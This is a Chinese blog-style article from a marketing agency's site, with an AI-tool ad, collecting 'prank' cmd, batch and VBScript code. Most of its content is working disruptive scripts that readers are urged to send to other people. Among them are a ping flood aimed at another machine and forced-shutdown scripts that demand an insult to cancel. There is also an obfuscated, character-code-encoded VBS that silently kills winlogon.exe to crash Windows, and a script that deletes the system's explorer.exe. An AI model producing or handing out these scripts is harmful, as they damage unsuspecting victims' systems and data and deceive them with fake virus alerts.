HOME 首頁
SERVICE 服務產(chǎn)品
XINMEITI 新媒體代運營
CASE 服務案例
NEWS 熱點資訊
ABOUT 關(guān)于我們
CONTACT 聯(lián)系我們
創(chuàng)意嶺
讓品牌有溫度、有情感
專注品牌策劃15年

    cmd惡搞代碼大集合(惡搞代碼教程)

    發(fā)布時間:2023-03-19 04:07:59     稿源: 創(chuàng)意嶺    閱讀: 122        問大家

    大家好!今天讓創(chuàng)意嶺的小編來大家介紹下關(guān)于cmd惡搞代碼大集合的問題,以下是小編對此問題的歸納整理,讓我們一起來看看吧。

    開始之前先推薦一個非常厲害的Ai人工智能工具,一鍵生成原創(chuàng)文章、方案、文案、工作計劃、工作報告、論文、代碼、作文、做題和對話答疑等等

    只需要輸入關(guān)鍵詞,就能返回你想要的內(nèi)容,越精準,寫出的就越詳細,有微信小程序端、在線網(wǎng)頁版、PC客戶端

    官網(wǎng):https://ai.de1919.com

    本文目錄:

    cmd惡搞代碼大集合(惡搞代碼教程)

    一、cmd怎樣惡搞

    悲哀 想想 .. 可以通過死循環(huán)來搞 意思就是 這個cmd的文件命令就是打開這個cmd文件 這樣就會一直的運行下去了。。 直接 start 0% 還有就是ping ping 到別人下線 ping *.*.*.* -t -n 65500 還有 就是shutdown -t -s 60 還有....就是 taskkil color。。。。。

    二、求大量VBS整人代碼.

    第一個 do msgbox "hi" loop 第二個 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三個 if MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎?",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當了?。?quot; Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四個 '這個很強悍的vbs,藍屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner 第五個 if MsgBox("你是豬頭嗎?",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "還不承認!! 作為懲罰,藍屏一下,你馬上掛了#¥!@#¥%@……#……?",64,"嚴重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 第六個 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七個 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八個 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好,我就是改變社會風氣,風魔萬千少女,刺激電影市道,提高年輕人內(nèi)涵,",10,"閃亮登場",64 ws.popup"玉樹臨風,風度翩翩的……“咕?!緡!?,不好意思,我內(nèi)急先閃了,再見!",15,"farewell",64 wscript.sleep 100000 ws.popup"發(fā)現(xiàn)重要windows更新未安裝,系統(tǒng)將自動下載更新并安裝",10 ws.popup"正在下載windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下載完畢,正在安裝更新……",12 wscript.sleep 3000 msgbox"系統(tǒng)檢測到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ,并在強行嵌入你的電腦",4132,"是否對其進行掃描?" msgbox"軟件名:comcontroler.exe "&vbcrlf&""&vbcrlf&" 大?。?.21MB "&vbcrlf&""&vbcrlf&" 發(fā)行者:幻想丶永恒(403746401)"&vbcrlf&""&vbcrlf&" 安全狀況:有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝" msgbox"阻止失敗,請檢查防火墻是否開啟" wscript.sleep 15000 ws.popup"windows更新安裝成功!",vbinfmation,20 msgbox"您的電腦可能已被入侵,請盡快修改您的QQ密碼及其他機密資料,以免QQ被盜或丟失資料",vbinformation ws.popup"哈哈,我已經(jīng)控制了你的電腦!",12,"很高興見到你",64 ws.popup"不信?我用你的電腦打開我的QQ空間給你看看",10 ws.run" http://user.qzone.qq.com/403746401/infocenter" msgbox"警告:為了您的電腦安全,請盡快安裝使用殺毒軟件對系統(tǒng)進行全面殺毒",vbinformation ws.popup"我再打開中國神泣官方網(wǎng)站",10 ws.run" http://5eg3.cn" ws.popup"現(xiàn)在相信了吧?我再打開你的記事本給你寫封英語信",20 ws.popup"記事本會被打開并最大化,這時你不要動,千萬別把目標轉(zhuǎn)移到其他窗口,耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負責!" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九個 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30 ws.popup"下機可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你還要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("請輸入解除關(guān)機密碼") if a="403746401" then ws.run"shutdown -a" msgbox"密碼驗證成功,enjoy the best!" exit do else msgbox"密碼驗證失敗,請輸入解除關(guān)機密碼:403746401 ",vbretrycancel end if loop ws.popup"哈哈 被嚇到了吧 好玩吧?你以為真的是病毒?呵呵O(∩_∩)O~,我還沒那么打本事能做出病毒來!",57 ws.popup"(\(^o^)/~ 好啦,跟你開了個小小玩笑。你也可以把這個文件發(fā)給其他人,耍耍別人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU溫度過高,系統(tǒng)出現(xiàn)嚴重錯誤!,請結(jié)束所有應用程序讓CPU降溫!",16+4096,"系統(tǒng)提示:" wscript.sleep 1000*45 loop 第十個 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一個 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二個 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("請在對話框中填寫你真實的姓名!"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜!! "&vbcrlf&""&vbcrlf&"不信你可以試試看?。。?quot;&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","請在此輸入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("請在對話框中填寫你真實的姓名!"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜!! "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","請在此輸入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"請?zhí)顚懸幌履愕膼酆谩?只需填一個哦!)","芮洲提示:","請在此輸入你的愛好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("請在下面對話框中輸入你的出生[年 月日]電腦將自動算出到目前為止你已經(jīng)在地球上存活了多少時間!"&vbcrlf&""&vbcrlf&"下面以我為列 不同可以修改"&vbcrlf&""&Chr(10)&"格式為:1987-06-02","芮洲提示:","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小時 "&n&"分鐘.....",vbOKCancel+63,"芮洲提示:") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的愛好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已經(jīng)活了:"&age&"天 "&h&"小時 "&n&"分鐘 "&""""&",64,"&""""&""&a&"的自我介紹:""" auto.WriteLine"msgbox"&""""&"親愛的 "&a& " 再見了!"&""""&",48,"&""""&"芮洲提示:"&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快樂.TXT",true) auto.WriteLine"本人芮洲祝: "&a&" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達......." auto.WriteLine"你已在地球上生活了:"&age&"天 "&h&"小時 "&n&"分鐘了" auto.WriteLine"時間是根據(jù)你的出生年月日算的,可能不是很精確,但目的只是想讓知道時間過的很快,請珍惜時間!!!。"

    三、求bat批處理的老師!主要是教一些好玩的惡搞代碼和基礎(chǔ)知識!好的+50分!說到做到!求你們了,我真心的!

    On Error Resume Next

    Dim WSHshellA

    Set WSHshellA = wscript.CreateObject("wscript.shell")

    WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬,不喊就馬上讓你關(guān)機,不信,試試···"" ", 0, True

    Dim a

    Do While (a <> "我是豬")

    a = InputBox("快說我是豬,不叫就不關(guān)機,快點,說 ", "說不說", "不說", 8000, 7000)

    MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

    Loop

    MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關(guān)了"

    WSHshella.run "cmd.exe /c shutdown -a"

    四、求惡搞小程序,編程代碼,最好是VB的

    on error resume next

    dim WSHshellA

    set WSHshellA = wscript.createobject("wscript.shell")

    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬,不說我是豬就一分鐘關(guān)你機,不信,試試···"" ",0 ,true

    dim a

    do while(a <> "我是豬")

    a = inputbox ("說我是豬,就不關(guān)機,快撒,說 ""我是豬"" ","說不說","不說",8000,7000)

    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

    loop

    msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"

    dim WSHshell

    set WSHshell = wscript.createobject("wscript.shell")

    WSHshell.run "cmd.exe /c shutdown -a",0 ,true

    msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"

    這是網(wǎng)上流行的一種讓別人關(guān)機的代碼

    以上就是關(guān)于cmd惡搞代碼大集合相關(guān)問題的回答。希望能幫到你,如有更多相關(guān)問題,您也可以聯(lián)系我們的客服進行咨詢,客服也會為您講解更多精彩的知識和內(nèi)容。


    推薦閱讀:

    1=C(1cm有多長)

    cmd惡搞代碼大集合(惡搞代碼教程)

    零基礎(chǔ)用cms建站需要多久(零基礎(chǔ)用cms建站需要多久)

    渠道活動策劃方案(渠道活動策劃方案怎么寫)

    利用競爭者分析提升企業(yè)競爭優(yōu)勢